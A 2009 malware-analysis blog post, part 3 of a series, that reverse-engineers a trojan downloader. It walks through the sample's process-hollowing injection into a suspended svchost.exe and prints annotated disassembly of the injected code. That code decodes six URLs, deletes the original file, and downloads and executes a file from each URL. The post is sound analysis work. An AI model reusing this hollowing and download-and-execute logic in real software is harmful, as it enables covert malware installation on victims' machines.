Wednesday, 11 November 2009

Trojan.Downloader-4680 - part 3

In my last post I mentioned that a process was created with the command line arguments set to "svchost.exe ". In addition to this, the creation flags of the process are set to CREATE_SUSPENDED, and the first argument (lpApplicationName) is set to 0 which means that the module name to be ran must be the first token of the command line arguments (http://msdn.microsoft.com/en-us/library/ms682425(VS.85,printer).aspx).
Furthermore, since the creation flags are set to CREATE_SUSPENDED, the main thread of the new process will not run until a call to ResumeThread is made.
Let's assume that we have the PID of the new process (after the call to create process) since it will be needed later.
Following the process creation there is a call to VirtualAllocEx which will allocate 0x15000 bytes in the address space of the new process, starting at address 0x15160000.
Afterwards the allocated memory is written to, this time 0x15000 bytes starting at 0x15160000 in the current process will be copied to the address space of the created process starting at address 0x15160000.
Before the call to the ResumeThread function, the thread context of the newly created process is changed. The thread context is obtained from a call to GetThreadContext, and the _EIP field is changed to address 0x15161703, and only then is the process resumed.

With this in mind I assumed that the child process would resume at 0x15161703, so in order to test this, I patched the first two bytes at 0x15161703 to EBFE (the explanation is here by RolfRolles), attached the debugger to the running process and indeed the process is stuck in an infinite loop. Since we don't have any names in the attached debugger, instead of going through with the call to ResumeThread (in the original debugging session) we can change EIP register to point to 0x15161703 and see what the child process would do.

This is the beggining of the function:


UPX0:15161703  child1_begin_execution_addr:            
UPX0:15161703  push    offset aUser32_dll              
UPX0:15161708  call    k32_LoadLibraryA
UPX0:1516170E  call    k32_FreeConsole
UPX0:15161714  push    15170CC4h
UPX0:15161719  push    105h
UPX0:1516171E  call    k32_GetTempPathA
UPX0:15161724  push    offset aUrlmon_dll              
UPX0:15161729  call    k32_LoadLibraryA
UPX0:1516172F
UPX0:1516172F  loc_1516172F:                           
UPX0:1516172F  call    k32_GetCommandLineA
UPX0:15161735  add     eax, 0Ch                        

Since we are now emulating what the child process would have done, we have to take into consideration that our command line arguments are different. Namely we don't have svchost.exe in our command line. In addition to this, the GetCommandLine will return a string in the format: '"path"' instead of 'svchost.exe path', so we will have to change the byte pointed to by eax to 00, change the last byte of the string from '"' to 0, increment eax, and set all the references to the original value of eax to eax+1 (otherwise they would point to the '"' at the beggining of the string). In addition to this, we have to either set EIP so that it jumps over the add eax, 0Ch instruction, or subtract 0xC from eax (since our string doesn't begin with 'svchost.exe ').

0xC350 bytes are then read from the trojan file


UPX0:15161738  push    eax
UPX0:15161739  pop     trimmedCommandLine
UPX0:1516173F  push    0
UPX0:15161741  push    80h
UPX0:15161746  push    3
UPX0:15161748  push    0
UPX0:1516174A  push    3
UPX0:1516174C  push    80000000h
UPX0:15161751  push    trimmedCommandLine
UPX0:15161757  call    k32_CreateFileA
UPX0:1516175D  mov     fileHandle, eax
UPX0:15161762  push    0
UPX0:15161764  push    offset unk_151708B8
UPX0:15161769  push    0C350h
UPX0:1516176E  push    offset fileBuffer
UPX0:15161773  push    fileHandle
UPX0:15161779  call    k32_readfile
UPX0:1516177F  push    fileHandle
UPX0:15161785  call    k32_CloseHandle

and we will search the value 0xA7C6B453 ^ 0xCC (0xA7C6B453 being the value held at dword_151631DC):

UPX0:1516178B  mov     eax, dword_151631DC
UPX0:15161790  xor     al, 0CCh
UPX0:15161792  mov     edi, offset fileBuffer
UPX0:15161797  push    2710h
UPX0:1516179C  pop     ecx
UPX0:1516179D  repne scasd
UPX0:1516179F  mov     al, [edi]
UPX0:151617A1  inc     edi
UPX0:151617A2  mov     ecx, [edi]
UPX0:151617A4  add     edi, 4
UPX0:151617A7  push    edi
UPX0:151617A8  push    0
UPX0:151617AA  push    eax
UPX0:151617AB  push    ecx
UPX0:151617AC  push    edi

The next function called will rebuild the addresses from where files are to be downloaded:


UPX0:151617AD  call    sub_151616C8
UPX0:151617B2  pop     edi
UPX0:151617B3  push    edi
UPX0:151617B4  pop     download_urls1

After the call to sub_151616C8 download_urls1 holds the address of the first url (out of 6).
and our orinal trojan is deleted:


UPX0:151617BA  push    trimmedCommandLine
UPX0:151617C0  call    k32_DeleteFileA
UPX0:151617C6  or      eax, eax
UPX0:151617C8  jz      loc_1516172F

Each of the urls will be used to download information to a temporary file, and this file will be executed:


UPX0:151617CE  push    download_urls1
UPX0:151617D4  push    offset current_url              
UPX0:151617D9  call    k32_lstrcpy
UPX0:151617DF  push    download_urls1
UPX0:151617E5  pop     ebx
UPX0:151617E6  push    ebx
UPX0:151617E7  pop     download_urls2
UPX0:151617ED
UPX0:151617ED  loc_151617ED:                           
UPX0:151617ED  mov     eax, 0
UPX0:151617F2  push    offset tempFileName             
UPX0:151617F7  push    0
UPX0:151617F9  push    0
UPX0:151617FB  push    offset TempPath                 
UPX0:15161800  call    j_kernel32_GetTempFileNameA
UPX0:15161805  push    0
UPX0:15161807  push    0
UPX0:15161809  push    offset tempFileName             
UPX0:1516180E  push    offset current_url              
UPX0:15161813  push    0
UPX0:15161815  call    urlmon_dll_URLDownloadToFileA
UPX0:1516181B +mov     startupinfo.dwFlags, 1
UPX0:15161825 +mov     startupinfo.wShowWindow, 0Ah
UPX0:1516182E  push    offset lpPROCESS_INFORMATION
UPX0:15161833  push    offset startupinfo
UPX0:15161838  push    0
UPX0:1516183A  push    0
UPX0:1516183C  push    0
UPX0:1516183E  push    0
UPX0:15161840  push    0
UPX0:15161842  push    0
UPX0:15161844  push    offset tempFileName             
UPX0:15161849  push    0
UPX0:1516184B  call    k32_CreateProcessA
UPX0:15161851  push    0
UPX0:15161853  pop     eax
UPX0:15161854  mov     ebx, download_urls2
UPX0:1516185A
UPX0:1516185A  GoToNextUrl:                            
UPX0:1516185A  inc     ebx
UPX0:1516185B  mov     al, [ebx]
UPX0:1516185D  cmp     al, 0
UPX0:1516185F  jnz     short GoToNextUrl
UPX0:15161861  nop
UPX0:15161862  inc     ebx
UPX0:15161863  mov     al, [ebx]
UPX0:15161865  cmp     al, 0
UPX0:15161867  jz      short loc_15161886
UPX0:15161869  push    ebx
UPX0:1516186A  pop     download_urls2
UPX0:15161870  push    download_urls2
UPX0:15161876  push    offset current_url              
UPX0:1516187B  call    k32_lstrcpy
UPX0:15161881  jmp     loc_151617ED
UPX0:15161886
UPX0:15161886  loc_15161886:                           
UPX0:15161886  push    0
UPX0:15161888  call    k32_ExitProcess
UPX0:1516188E  retn

No comments:

Post a Comment